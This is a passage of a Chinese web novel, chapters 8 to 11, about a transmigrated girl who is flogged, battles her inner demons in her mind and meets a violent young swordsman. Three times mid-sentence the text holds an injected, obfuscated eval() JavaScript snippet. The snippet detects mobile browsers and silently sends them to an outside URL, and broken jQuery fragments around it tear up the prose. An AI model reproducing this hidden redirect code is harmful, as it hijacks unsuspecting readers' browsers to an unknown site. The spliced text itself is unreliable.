他没有提起那枚灵珀仙果的事,啾啾也没有,她只是问:“师尊与你们说起关于我的处罚时,你也点头同意了,是不是?” “是。”温素雪直接承认了,清冷冷的,“你安心待在焦火山,其它事我和你兄长会处理。” 啾啾不关心那些,她只是关心:“你也认为是我杀了棠鹊的灵宠?” “……” 过了许久,温素雪才淡声回答:“是。” 他从小就这样,不会为了哄她开心而撒谎,在这些微妙的地方直白得近乎残忍。 温素雪就是那种,能冷漠地告诉你,“我对你没有感情”“我不相信你”“你不要对我有期待”的人。但他却绝不会坦率承认“我喜欢”“我希望”“我想要”。 人有时候就是这么奇怪。 啾啾说:“我没有。它自己撞的墙。” 少年不置可否,沉默地陪她走完焦火山前的路,最后深深看她一眼,转身离去。 素白又单薄的背影不消多时便消失在焦红薄烟中。啾啾也没有回头。 她要在焦火山呆一年,必然不能只是无所事事地呆在这里玩泥巴。 门派深谙要将资源最大化利用、多样化利用的道理,所以她在这里的时间主要分成两部分。第一是去讨刑峡领罚。第二是去问世堂焦火山分堂,驻守此山。 现在啾啾先被送去了讨刑峡。 焦火山里充斥着废土与余烬,看不到生机,放眼望去,入目全是黑色枯枝、断壁残垣。越往里走温度便越高,半空中时不时有零散火星稍纵即逝。 空气也渐渐变得稀薄。 “你说炼气期的小丫头被打发到这里来,没问题吗?”走在最前端的两名弟子小声嘀咕起来,说话时回首瞥了一眼。 啾啾走在队伍最中间,低着头,一张脸藏在阴影中看不真切,但莹白的额头上已经满是汗珠。身上好几处没有愈合的伤口崩裂,渗出血珠,浸入衣衫,隐隐约约显露出来。 为了达到惩罚的目的,被送往的讨刑峡的人身上都会被施以禁令,防止他们用灵力护体,抵抗刑罚。 所以这去向讨刑峡的一百里地,只有啾啾是纯粹在靠一双脚走路。 “不知道。”另一个人摇摇头,也回头看了看,“够呛。” “你说明皎真人怎么想的?我一个筑基期在讨刑峡呆久了都受不了,她一个炼气期,还要在这里呆一个月。”要知道,讨刑峡是整个焦火山最热的地方之一,那说话的弟子压低声音,“就不怕把她灵根给……灼毁了?” 话音刚落,另一人就用胳膊肘撞撞他,给他递了个眼神,示意他慎言。不过片刻后,这人也叹了口气,小声:“听说这位师妹还是木灵根。” 把一个木灵根放到火之山里,能好吗。 两人各有所思,不再说话。 队伍在山里不眠不休地行进了两日,终于抵达讨刑峡。将啾啾捆上行刑柱时,为首的师兄故意将锁链放松了些,也能让她在受罚时有余地挣扎两分。 “有些痛,想叫就叫,不必忍着。” 少女依然低着头。 好像这一路以来,就没有见到过她的脸,所有人心里都只有一个模糊的印象,瘦削小巧的身形、低垂的睫毛和沉于阴影的脸。 师兄们对视一眼,退出巨大的圆形石台,“铛”地一声,行刑阵就此打开。 金白光芒四溅开来,绚烂之中巨大的鞭子凭空生出,不等众人反应,就是嗖的破空之声由远及近,最后落在柱子上的人身上。 “啪!” 惊心动魄的鞭打声冷冰冰地在山谷中回荡,声音高昂响亮,叫人心中发怵。就算不回头,也能想象触目惊心的画面。 刻骨鞭虽说不会让人受伤,可它会让人疼,疼得刻骨铭心,让人永远记住自己犯的错,自己付出的代价。 “啪!” 山谷中渡鸦被惊得飞起,不多时,一只只黑色残影自头上掠过,“啊啊”的啼叫盘旋聚集。 “啪!” 队伍中年纪最小的少年忍不住皱起一张脸,死死盯着地面,表情难受。他这还是第一次执行处刑任务,本以为不用战斗不用出力,是个美差。可谁能想到——站在这里,听鞭子抽打的声音比其它任何任务都要让人难熬。 不知道那师妹情况如何了。那小姑娘看起来又瘦又弱,能受得住这鞭刑吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067486|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后除了鞭子,没有其他任何声音。 那小师妹硬是一声没吭。 小少年没忍住,透过眼角余光偷偷瞥了一眼。啾啾双手被高高缚起,脑袋依然低垂着,因为使不上力,被捆得松松的身子也微微弓起,更看不清楚她的脸。 不知道晕过去没。希望她是晕了吧。 ——她实在是太瘦了。不像个修仙的,更像俗世里闹饥荒时吃不饱的孩子。她那个姐姐,对,叫棠鹊那个,身形比她美丽有致许多。 师兄匆匆收回目光,拧起的眉多少透出几分于心不忍。他深呼吸一口,抬眼看向头顶逡巡的黑色渡鸦,尽可能不把注意力放在鞭打声上。 “啪!” 啾啾确实想晕。 刻骨鞭抽打下来实在是太痛,比普通的鞭子抽打在身上还要疼上千百倍。她没有受虐倾向,她希望自己能晕着捱过去。 但刻骨鞭能让人时时保持清醒。 她硬是咬牙生生扛过二十鞭。 啾啾想了许多。为什么她要受罚,为什么受罚的人是她。 “不是我杀的青鸾。是它自己撞墙死的。” 这句话她说了无数次,坚持说给每一个人,可是没有一个人愿意听。哥哥如此。温素雪如此。 为什么。就因为她不是棠鹊吗。 便真是她杀的青鸾,事情的起因究竟如何?青鸾是棠鹊的灵宠,为何要无端攻击她? ——对的。他们不信的。 因为她不是棠鹊。 棠鹊高贵美丽,天资极佳,受尽宠爱。而她天生残体,一直挣扎于泥泞之间。一个是云,一个是泥,生于云端的人又怎么犯得着去踩死蝼蚁呢。 可是,她真的没有。她明明没有。 没有人想过,她不是石头人,她也有一颗会感知温凉的软软的心。总是被她热爱的世界刀棍相待,她也会难过,她也会委屈。 谁让她不是棠鹊。 二十鞭结束。 啾啾脸上水淋淋的,不知道是痛出来的汗,还是刚才一时委屈哽咽落出的泪。 华光星星点点,在焦火山永远乌红的天空下消散。行刑阵运转,阵眼沉落的同时,刻骨鞭也消失在半空中。 隔绝刑场的光壁缓缓落下,手腕锁链一松,在师兄们匆匆跑来的脚步声中,啾啾倒在石台正中,意识陷入黑暗。 “这是——?” 少女身上伤口全部崩裂,衣衫红成一片,狼狈不堪。她浑身是汗,唇色发白,脸颊上却有黑纹如花茎一般绽放延伸。睫毛时不时颤动,眼角泪珠透出血色。 那年纪最小的师兄吃了一惊,刚要上前,便被为首的弟子拦住。 “别碰她!”他抽出剑,大喝一声,“这是入魔之兆——她生出心魔了!” “那怎么办?”几人退后一步,面面相觑。 想到刚才的鞭刑,都有些沉重。 这么个小姑娘,身上旧伤未愈,又挨了整整二十鞭。想得开才怪。 为首弟子抿住嘴角,低头看了许久,才用剑尖指向一动不动的少女,低声道:“守着!若是魔气继续侵蚀,未见好转,便——杀了她!” 9. 第 9 章 识海又称紫府。 虽然名称里有一个“海”字,但实际上每个人的识海都长得不太一样,并不一定非要是海。 今天以前,啾啾的识海一直是一片白茫茫的雪地。但现在识海里的场景变了。 形状各异的巨大建筑密集地在城市中堆砌,广告牌和LED灯让人眼花缭乱,缆线在逼仄狭窄的墙壁间交错纵横,小型飞艇穿梭于摩天纪念碑上方。 过度的光污染让城市中不见星月。紫色霓虹“菜”字招牌下,戴着机械义肢的老板娘正将西红柿的价格调高,下水道边黑黢黢的贫民窟有人在犯罪,有人在疲惫地仰望城市高楼。 啾啾有一次问她同桌:“赛博朋克是什么?” 她那位小卷毛同桌头也不抬:“就是我们的当下呗。” 啾啾全想起来了。 她不属于这个世界,她也不是原装的啾啾。 这本书原名《成仙记》,比起升级文,更像是一本成长文。 毫无疑问,棠鹊是这篇文的女主角。 故事的开始要从啾啾的回归说起。 从小幸福长大的棠鹊突然得知自己并非棠家亲女儿,无疑晴天霹雳,将她生活搅了个天翻地覆。棠鹊感到迷茫又无所适从,这无可厚非,毕竟她那时只是普普通通一个十岁小姑娘。 一边是她深爱又深爱她的家人。一边是被她顶替身份的真千金棠鸠。前者让她伤心不舍,后者让她愧疚痛苦。 十岁的棠鹊仿佛一夜长大,经过几日的痛定思痛,决定将对方的人生还给对方。 “渐渐翻白的天色中,棠鹊的眼睛越来越明亮,稚嫩的脸庞上已经依稀带了少女的清丽,现在透出些与她年纪不相符的早熟和坚毅。啾啾的回归像是一记重锤,敲在了一直将她保护得很好的壳上,而现在,她不等啾啾的第二锤落下,自己破壳而出,面对未来的狂风暴雨。 终于,清晨的第一抹曦光洒落,棠鹊抓了外裳,推门坚定地走了出去。” 这是棠鹊决心割舍亲情那一段的描写,也是棠鹊的第一次蜕变,别说棠父棠母了,连文下的读者们都嗷嗷叫着“小鹊好帅,心疼小鹊!” 幸好,棠鹊生活在幸福的家庭里,她有一对明事理且温暖的养父母。 她依然是棠家的女儿。 父母问题解决了,接下来要面对的是棠鸠。 这篇文的定位是温暖。要想温暖,首先就要有冰冷。 那这第一冰冷的,肯定是便宜妹妹棠鸠。 在巨大的愧疚感下,棠鹊开始绞尽脑汁地对妹妹好。比如把棠父棠母给她的新衣服送给妹妹,把棠折之带给她的小云糕分给妹妹。带她认识自己的朋友、主动帮她复习功课。 可是这一切,妹妹都不领情。连声谢谢都没对她说过,理所当然地享受她的殷勤,还对她不冷不热的。 于是生出了第二个冰冷——是棠鹊的心。 这些变故折磨着她,她只能学着棠家长子,她最崇拜的棠折之哥哥的样子,强迫自己淡然无谓,疏离潇洒。 温暖也就跟着诞生了。 她的朋友和家人都更加心疼她,关爱她,照顾她,时时刻刻烫着她冰冷的心。他们还指责棠鸠、辱骂棠鸠、厌恶棠鸠,痛击这位冰冷的源头。 作者是真的很会写。 棠鹊明明没遭遇过什么挫折,就连人生中最大的变故也被偏心她的人轻而易举抹平,大家都爱她,可她就是忧郁得一匹,还忧郁得很正当,仿佛那个变故给了她毁灭性的打击,她身如浮萍自飘零,只能抱着伤默默舔舐。 她那些青春疼痛的心理活动把整本文都搞得很阴郁。 而那些温暖,就在阴郁中显得更加闪亮、弥足珍贵。成熟的哥哥、强大的知己、温柔的竹马、元气的师弟——真诚的少年们让读者纷纷姨母笑买股。 这对于棠鹊来说,是享受偏爱的人生旅程。对于啾啾来说,就不那么美妙了。 她此前那种“有看不见的风暴强硬地将她卷向棠鹊的对立面”感确实如此。 这本文不是群像文,在那么多男角色的加持下,本质是一本苏爽向的成长文。对女主角心路历程、成熟长大的描写极其细腻,对配角就没那么用心了。 啾啾觉得她一出场就顶着“我是反派”的buff,不然为什么大家都能在第一时间对她提起戒心。 因为她在书院不声不响地考了第一,所以她明明什么都没做,就被棠鹊知己鄙视“不懂感恩”。老实说,她穿书之前,在她自己的世界,就年年考第一来着。她在黑风寨不也是个外置大脑。 头脑好用,成绩优异怪她咯? 再后来,她又被轻易地评价“心胸狭隘”,被定罪“嫉妒棠鹊”,被视作“留不得的人”。却没有一个人肯听听她的声音。 这换谁,谁不得生出心魔来? 原著里的棠鸠生了,被侵蚀了,堕身为魔,成为太初宗和棠家的耻辱,成为棠鹊朋友们嘲笑鄙夷的对象。于是她满怀恨意地追杀一切与棠鹊相关的人,最后被温素雪一剑穿心。 魔气一点点退散,棠鸠的脸从黑色的魔气下显露,鲜血溢出口唇,她茫然看向天空时,视野中出现了棠鹊的身影。 彼时已然清丽绝尘的少女,居高临下,用看穿一切的通透神情,淡淡地说:“棠鸠,你不是恨他们,你是嫉妒我。” 到死,也没人听棠鸠说话。 不管是自以为自己看穿人心的,还是真傻逼的,全都认为她错在嫉妒。 啾啾:不,错在她是这本文的女配。 啾啾站起身,巨大的城市射灯在天空中交错摇晃,带着焦躁臭味的风迎面扑来,她慢慢走进这座她生活了十五年的城市。 家里空无一人,一家四口的相片框还支棱摆在玄关柜子上。这个相片框支架有点问题,以前啾啾每天上学前将它扶起来放好,放学回家后又看见它倒在了那里。 她给爸妈反映过这个问题,说,能不能粘一下支架。爸妈答应了,却一直没空去做。 现在相框支架已经被粘好了。 照片里她也不爱笑,对着镜头一脸严肃,哥哥大笑着,伸手在她脑袋上比了个鬼角。 啾啾往里走。爸爸妈妈的房间里有个花架,上面养的都是她喜欢的花。哥哥房间一如既往的乱,游戏机散落和全息屏扔在地毯上。 她最后回到自己卧室。 她的房间还保持着原样,床单被套换的她最喜欢的那套夜空图案,她在上面躺了一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067487|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着雪白的天花板,眼睛有点湿。 耳边突然有个声音响起。 ——你想回家吗? 想吗?这个赛博朋克的当下。 她家不是贫民也不是上层,住普通的胶囊公寓,吃普通的仿真肉,一个月买一次新鲜水果。 区区一个中学生不用承担社会的重任,也不用去关注电视上每天吵吵嚷嚷的“社会结构崩坏”“反对信息控制”,啾啾每天坐悬浮列车上学,背着书包和同学去拥挤的街巷买小吃,和老哥抢游戏机,偶尔幻想一下未来属于自己的那只omega会是什么香味。 生活单调但快乐。 哪怕在修真界已经生活了16年,比她在这个世界的生活时间都还要长,她依然记得一清二楚。 她想回家。 她想爸爸妈妈。 她想念这里的一切。 她眼眶红红的,即便哭,也咬着牙悄无声息地哭。她不想对这操蛋的世界妥协。 “想吗?”耳边的声音又问了一遍。 啾啾这次回答了,斩钉截铁:“想。” “我有办法,能让你回家。” 啾啾坐起来,胡乱擦了把眼睛,跳下床,往外走。 “……你去哪儿?还听不听我说了?”耳边的声音急了。 啾啾说:“听。但在这之前,我先去杀个东西。” *** 魔气浩荡。 出城后,高楼大厦立刻消失,寸毛不生的沙土上魔气已经强烈到具现显形,丝丝缕缕纠缠,在夜色中飘荡。 啾啾拔出剑的一瞬间,半空中响起刺耳的笑声:“你要杀我?” “对。”啾啾回得很认真。 笑声更加尖锐,嘻嘻哈哈的,越来越响亮,越来越密集,最后那些漂浮的魔气全部变成了书里描写的“被黑雾包裹着、看不清脸的棠鸠”。 “——你要杀我们?” 她们一起发问,声音响彻云霄,在天地间传递出不安的威慑力。 “对。”啾啾依然答。 她们捧腹大笑,好像听见了世界上最好笑的笑话,笑得浑身发抖。不过须臾后,笑声又蓦地一停,离啾啾最近的那团黑雾沉下脸,阴声:“找死!” 它以电光火石的速度,冲向啾啾。 入魔容易除魔难。 心魔非但数量众多,还各个都有和自己相当的实力。你强他强,你弱他弱。所以就算是大能,也很难靠自己的力量祓除心魔。 啾啾也没想着要把她们杀干净。 她没那个能力,但她会尽她所能,杀一只算一只。 她不想入魔。 不想服从任何人给她命运的安排。 “铛”的一声,剑刃与黑雾相撞,两人都被震得退出数步,心魔长啸一声,再次陨石般撞来,啾啾也应声而上,剑尖直攻要害! 噼啪—— 枯木破裂折断的声音响起,裂纹从剑尖刺入的地方一寸寸铺开,心魔发出可怕的悲鸣,尖爪徒劳地挥舞几下,整个身体粉碎成了黑色的灰,滚滚遮住眼眸。 青鸾尾羽送来激荡的风,吹散眼前的障碍。 消散的黑灰后,第二只心魔已经红着眼,冲到了啾啾面前! 10. 第 10 章 少女脸颊上的黑色花茎时隐时现,刑责堂的弟子们围在四周,屏息凝神观察她。 一道暗紫色微光突然顺着花茎纹路扩散,那年纪最小的少年惊呼:“这是怎么回事?” 行刑阵的流光不停转动,领头弟子的眼眸也跟着忽明忽暗。 “是魔气在冲撞,她的魔气现在……很动荡。” “是魔气变强了吗?”少年急声问。 刑责堂的人大多冷心冷面,没有太多感情。这小少年也不过是对那瘦弱得堪比凡人的身躯生出一分恻隐之心,觉得眼前这小姑娘颇有些坎坷罢了。 “倒也不是。”领头弟子摇摇头,“她大概在和心魔缠斗。” “那我们能帮她么?” “先帮你自己吧。”另一位师兄突然祭出法器,咬牙道,“看看身后。” 少年们转过身,跃动的火焰映出一张张惊讶得发白的脸庞,冷汗瞬间渗了出来。他们持剑往后退了一步,将后背交给队友,心惊肉跳。 ——不知何时,他们身后围了一圈火魔。 “这是……怎么回事?”有人惊恐地喃喃。 从峡谷到悬崖,密密麻麻,挤满了每一处焦黑的土壤。 一眼过去,黑炎纠缠,仿佛一片涌动的海。 会死的。 他们绝对会死的。 不可能打赢的。 “……还是,逃吧。”死寂之中,一位师兄颤颤巍巍地开口。 啾啾的战斗还在继续,身体连续的紧绷后,渐渐开始力不从心起来,挥舞的剑都变得不听使唤了。她那一身白衣本就被血浸染,这会儿沾了泥浆,更是滑稽可怜。 又解决掉三只扑上来的心魔,啾啾彻底没了力气。 别说体力,连身体里的氧气都仿佛被掏空了。 她一开始还能将剑插在地上,握住剑柄拼命地大口喘息,到后来,整个人都滑到了地上,发丝也沾上了泥,她根本没空去管那些,宛如一条离开水的鱼,张着嘴,想要挣扎着汲取一点空气。 五官仿佛停止了工作,心魔、都市、战斗全都离她远去,肺腑在燃烧,天地间一片骇人的寂静,只有耳朵里响彻着提醒她身体崩坏的耳鸣。 不行了,真的不行了。 啾啾突然伛偻起身子,剧烈地咳嗽起来。 “累吗?”心魔凌于半空中,扬起恶意的笑,居高临下注视她。 “觉得很难吗?” “有更轻松的路可以走呀。”她们蛊惑似的嘻嘻笑,“加入我们,一切都能迎刃而解。” “加入我们吧。加入我们不好吗?” 整个识海全部飘荡着她们的声音,将空气搅得浑浊,啾啾瘫倒在地上,手指爬啊爬,好不容易碰到了自己的剑,超过极限的脱力却让她连把剑勾过来都很难。 她杀了多少心魔? 没数,也许十几个,也许几十个,每一个战斗力都和她相当,每一场战斗对于她来说都艰难至极。 然而她必须战斗,因为她不是棠鹊,她是与主角为敌的对立面,不会有人对她伸出援手,她只能靠自己。 不知道是不是看穿了她的想法,一只心魔降落到她不远处,托着下巴对她微笑。 “我们能成为你的朋友呀。” “不需要。”啾啾终于开口了,轻轻的。与此同时,她突然用力抓起自己的剑,借着青鸾尾羽的风,冲向那只落单的心魔! 剑光如雪。 锐利的白光下,心魔满脸错愕,被切开的身体融化分解,它尖叫一声,声音层层传递,整个空中的心魔都降落下来,咬牙切齿,似要将啾啾挫骨扬灰。 啾啾扶着剑跪倒在地,过分的体力消耗,让五脏六腑终于承受不住,喉头一腥,血水被她咳了出来。 世界与她为敌,那是世界的事。别人怎么想,也是别人的事。他们充满恶意,只会显得他们自己卑劣。 啾啾只能决定自己的事,那就是——不能化身为魔。 不能因为别人卑劣,自己也变得卑劣。她要做的,是自己。因为自己想,所以才做。因为自己不想,所以不做! 但凭心引,不论归途。但行好事,莫问前程! 啾啾举起剑。 心魔怒嚎着蜂拥而上! 极限之后的另一场极限困斗再次爆发! 尘土硝烟弥漫的天地上方,突然一道火光直直落下,炙热灼烫,耀眼得将这片浑浊之地瞬间变为白昼。火光从落地的位置奔腾汹涌,转眼间便磅礴溢满整个世界。 红色的风炸裂扩散,带着滚烫的气息,狂啸而过,啾啾的衣衫发丝都被巨风吹得狂舞。 四周心魔惨叫声绵延,一只又一只地被吞噬在风中,又被火浪拍得粉碎。近乎蛮横的强大灵力冲刷下,啾啾愣了愣,来不及思考究竟是什么帮了她一把,困意便嘶吼着涌上来。 她实在太累了,脱力太久,身体超载,这会儿暖意吹拂,她不自觉的放松,再放松,最后四仰八叉躺在地上,陷入沉眠。 耳边好像响起了很多声音,经过了很多事,历了个人间百遍,才终于听清楚一句话。 “你想回家吗?” 那个声音又一次发问。 啾啾说:“想。” “那为何这般拼命?” “因为我想回家,但不想成魔。” 安静足足一炷香功夫,她脑海才又一次响起对话。 “碎星刀乃是天工所铸,太初圣物,能割裂空间让你离去。只要你有勇气死在碎星刀下,便能回家。” 啾啾凝滞地看向天空。 漫天火光消逝后,天空沉重的黑云被破开,星月交辉,不远处城市正在一如既往地上演灯红酒绿。 她再一次睡去。 斗转星移,云起云灭,啾啾觉得自己仿佛做了一个长长的梦,又一次坐在中考的考场上,在试卷翻动的声音中刷刷写个不停。 她要考联邦第一高中。 不知道过了多久,也许是考试结束铃突然响起来的时候,她的灵府突然一热! 烫!!! 啾啾差点国骂一声,捂着额头弹坐起来。 背后传来个郁躁暴戾的声音:“这不还没死吗。” 啾啾愣了愣。 天色阴暗,空气污浊,破布条在树枝上随风掀动,不远处一根插进泥土的木棒上挂着不知名的头骨。 她已经不在刑场了。这又是哪儿。 “喂。”背后的人发出一个不亲切的音节。 啾啾扭过头,立刻倒吸一口冷气。 一张离她极近的脸。 瞳色暗红,瑞凤眼因暗涌的狂躁而凌厉桀骜。少年的脸庞很漂亮,甚至妖异艳丽,比温素雪还貌美数倍。但锋芒过于锐利,气势过于迫人,让人很难关注到这张脸。 她又吸了一口气,往后靠了靠,屏住呼吸—— 大部分人听见钟棘名字就发怵了,她还靠得这么近,他身上带着点血腥味的杀欲如滂沱大雨一般沉沉压来。 也不怪棠鹊那么佛系淡然一个人,上次在他面前会失控颤抖成那样。 钟棘扫她一眼,站起身来:“还能动吗?” “嗯。” “那就离远点。”尖利骇人的嘶鸣声突然由远及近,一团焦红肉块一跃而起,从半空中朝着钟棘猛砸而来,钟棘看也没看,一刀刺穿,把话说完,“不想死的话。” 被打碎壳的火魔肉块被他甩到一边蠕动。 咚咚咚咚。 脚步震耳欲聋。 啾啾放眼看去,这才发现山岭断崖上,密密麻麻全是火魔,骨甲为躯,火核为心,浑身焦黑,一张张看不清的脸,咆哮着,露出狰狞的獠牙。 “厉害吗?”钟棘笑了,仿佛真心在夸奖她,有种纯天然的高兴,“全是你的魔气引来的。” 对了,入魔。 啾啾默然一会儿,问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067488|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的刀叫碎星?” 少年的刀尖上挂了丝丝缕缕的血,还沾了点火魔的焦灰,即便如此,刀身也如皎月荧荧,刀柄上星图闪烁。 原著里钟棘出场时间很晚,算是后期大boss。 《成仙记》实在是太长了,三百多万字,啾啾只看了两百万就觉得自己不行了。 钟棘这把刀她倒是记得很清楚。碎星。据说是整个修真界最美的刀,别人拿上,碎星就会立刻粉碎,化作星辰消散。只有钟棘能用它。 钟棘看了一眼:“嗯——?嗯。” 原来那什么故弄玄虚的太初圣物,这么早就成了钟棘手里的切菜刀了。虽然不知道他怎么做到的。啾啾改了说辞:“那我想死。” “什么?” 钟棘一愣,回过头。 啾啾很肯定:“你刚才说,不想死的话就离远点,但我想死,我想让你用碎星杀了我。” “……” “……” “……” 钟棘彻底愣住,瞪大了眼,瞳孔微微收缩。 好半天,才无意识地退开半步,盯着她,好像有些不明所以,又好像是觉得烦躁。表情一言难尽。正好有火魔冲上来,被他一刀切碎火核。 啾啾贴心地给他留了一段反应时间。 末了,问他:“不行吗?” “当然不行!” 钟棘振声。仿佛啾啾找他求死是一件不道德的事似的,即便他杀戮成性。 “为什么?” 钟棘错愕:“你又没惹我生气。” 惹他生气就能被杀了。啾啾懂了,垂下眸子。 少年腰线流畅细窄,黑色束带下屁股又挺又翘,啾啾摸了一把,手感也很好,还蛮有弹性的。 钟棘:…… 啾啾用她那死人般木然的眼睛,看向钟棘不可置信的脸,声音平淡到让人怀疑她只是个傀儡,毫无感情地被人操控着做了刚才的事:“现在你生气了吗?” 钟棘:…… 别说生气了,钟棘现在天都想给捅了。 额上青筋跳了又跳,握着碎星的手指发白颤抖,血管顺着手背凸起延伸。如果他会国骂,现在一定已经骂了一万遍了,杀意如暴风雨一般在红了的眼里倾泻。 钟棘咬着牙,走到还在黑色枯树下弹跳挣扎的火魔肉块边,“噗呲噗呲噗呲”,捅了无数下,肉烂成渣了,他才回来。 不远处的火魔瑟瑟发抖。 钟棘甩掉碎星上的余血,让它如星尘般消散在半空。 “走吧。” 啾啾看看被他剁成馅儿的肉,又看看他,觉得钟棘今天是不准备杀她了。 “去哪儿?” “你反思期结束了,送你去驻守堂。” 脑袋里好像有什么叮的响了一声,信号似的,让啾啾猛然惊醒。 对了,鞭刑之后,她需在悔心崖上思过一个月,才能离开这温度最高的讨刑峡。这么说来,钟棘是派来监督她思过悔恨的人。 但没想到,她在这里睡了一个月,完全没有认真反思。直到刚才时辰到了,才被钟棘不知道用什么法子给烫醒。 所以钟师兄是给她放了个水? 啾啾跟在钟棘身后,觉得这个年纪轻轻的小师兄比传闻中温柔。 温柔的小钟师兄还在暴躁中,捏起的拳头就没放松过。 走了两步,实在忍不住,他顿住。 啾啾也跟着顿住。 “我现在,特别生气。”钟棘咬牙切齿,一字一顿。 碎星从空中显形,闪烁着再次出现在他手中,他转回身来,眼睛藏在阴影里,嘴角却咧出一个满怀恶意的、灿烂的笑。 杀气浓郁。 火魔抱头鼠窜,乱作一团。 “等我一会儿。” 钟棘擦着她肩走过,碎星环绕的火光噼噼啪啪响。 他声音阴森:“我去把它们都宰了。” 11. 第 11 章 流火从天而降,赤光灼目,暗焰如海浪一般瞬间滚滚翻涌至整座山。 很眼熟的一招。 不消片刻,火魔人的尸体便堆积如山。 钟棘站在尸体山上,兴奋地踩了几下,最后一脚跺下,小山丘轰然炸裂,血肉横飞。 血流成河,空气中满是腥臭味,附近一只火魔人的影子都看不见了,钟棘放了把火,从上面跳下来。 “开心了吗?”啾啾问。 “开心了。”钟棘眼睛倒映着火光,雀跃生辉。 啾啾没有表情:“那我们走吧。” “喔——” 钟棘转过身,走在前面。 少年仿佛有用不尽的体力,直白地将愉悦写在脸上,嘴角一直咧开一个弧度,小犬牙嚣张地展示给全世界。 “想死”和“想被钟棘杀死”是两种截然不同的心态,不知道为什么,啾啾成为后者之后,发现自己能够用一种很普通的心态面对钟棘了。 不管他身上锋芒有多锐利,她都不怕他。 她甚至还能很认真地和钟棘说:“不要再在山上放火了。” “为什么?”钟棘不爽。 “因为可能会引发山火,造成不必要的损失。” “……” 啾啾觉得以小钟师兄的暴脾气,应该会回一句“关我什么事”,再不济也是“关你什么事”,没想到钟棘只是愣了愣,回答:“喔。” 还蛮乖的。 啾啾问:“我的心魔,是你帮忙除掉的?” “啊。”说起这个,钟棘又来劲儿了,瞳孔里血光闪烁,“因为你慢吞吞的,一直搞不定的样子,所以我随手就把它们杀了。” 随手。 钟棘喜欢战斗,对于别人来说很麻烦的事,在他眼里却是一场盛宴,这会儿说起啾啾的心魔,他轻松得有如在说“我今天打猎收获了很多。” “谢谢。” “哈?——唔。” 两个人都沉默了下来。 钟棘一直把她送到分堂外。 “就是这里了。” 苗圃里枯树丛生,嚣张地伸展出枝桠,交叠的黑枝后,能看见砖瓦房上挂了个牌匾。 问世堂。 旁边五个小字——焦火山分堂。 啾啾点了点头,“嗯”了一声:“要进去坐坐吗?” “不要。”钟棘别开脸。 这个小师兄似乎不太喜欢和人接触,挺孤傲的。啾啾不愿强求,只是看他一眼,认真:“下次记得不要放火烧山哦。” “……” 两百万字以后才会出场的大魔头钟棘,这时候嫩得能掐出水的小钟师兄低低地“嘁”了一下,明明很不情愿,还是暴躁地回答:“知道了。” 啾啾放心了。 钟棘转身离开,高高束起的马尾也沾染上火光,被镀成暗红色。 分堂里这会儿已经有两个人了,一个是穿杏色袍子的少年,杵在窗边扎马步。一个是一眼过去就很粉的姑娘,在桌子边端端正正地看书。 啾啾刚一走进去,少年就打住动作,满脸高兴地挥手:“来了来了!小师妹来了!” 他看起来极其热情,仿佛已经期待许久。眼睛闪闪发亮的时候,脑袋上还“咻”地弹出一双毛茸茸的耳朵,在炙热的风中不住抖动。 啾啾:…… 另一位姑娘则是上下打量她一眼:“你就是棠鸠?” 啾啾:“嗯。” “原来是你。”那姑娘哼了一声,侧过脸,态度不友好,“听说你引来了火魔,以后安分点,不要给我们惹麻烦。” 少年无奈地看她一眼:“宁溪。” 说完又转向啾啾,挠着头,无可奈何:“她叫宁溪。……脾气有点大,但是个好孩子。” 明明自己是这里最年长的人,却老被叫做“孩子”,宁溪有种被看扁的感觉。狠狠瞪少年一眼,干脆背过身子去了。 啾啾记得这个姑娘。 原著里有两个女角色被用来烘托棠鹊的幸福温暖。一个是棠鸠,另一个就是宁溪。 宁溪乃是寿山城宁家小大姐,家境优渥、天资聪颖,还未进太初宗修习,便已经是炼气大圆满的境界了。 这小姑娘也不知道是从哪儿得知了棠氏姐妹的事,便总有些瞧不起棠鹊。甚至还怒骂过:“棠氏夫妇真是荒唐,给假女儿取名为鹊,却给真女儿取名为鸠,究竟是谁鸠占鹊巢?” 因着她的影响,昆鹫也跟着瞧不起了棠鹊一段时间。 不错,昆鹫是宁溪的亲弟弟。在他被紫霄仙府带走前,本名宁泉。 结果后来,昆鹫立场变了,站到了棠鹊的队伍中,甚至不惜与姐姐反目成仇。在昆鹫眼里,哪怕是亲姐姐也不能说棠鹊的不对,一个字都不能说。 他不赞同姐姐说的话,并拼死剥夺姐姐说话的权利。 于是昆鹫在宁溪参与试炼秘境时动了手脚,想要略施惩戒,让宁溪长长记性。却万万没想到,宁溪因此未能通过试炼秘境。 于是凤凰变山鸡,宁溪前程彻底被打乱,成了一个小小的外门弟子。 作者全面照顾。 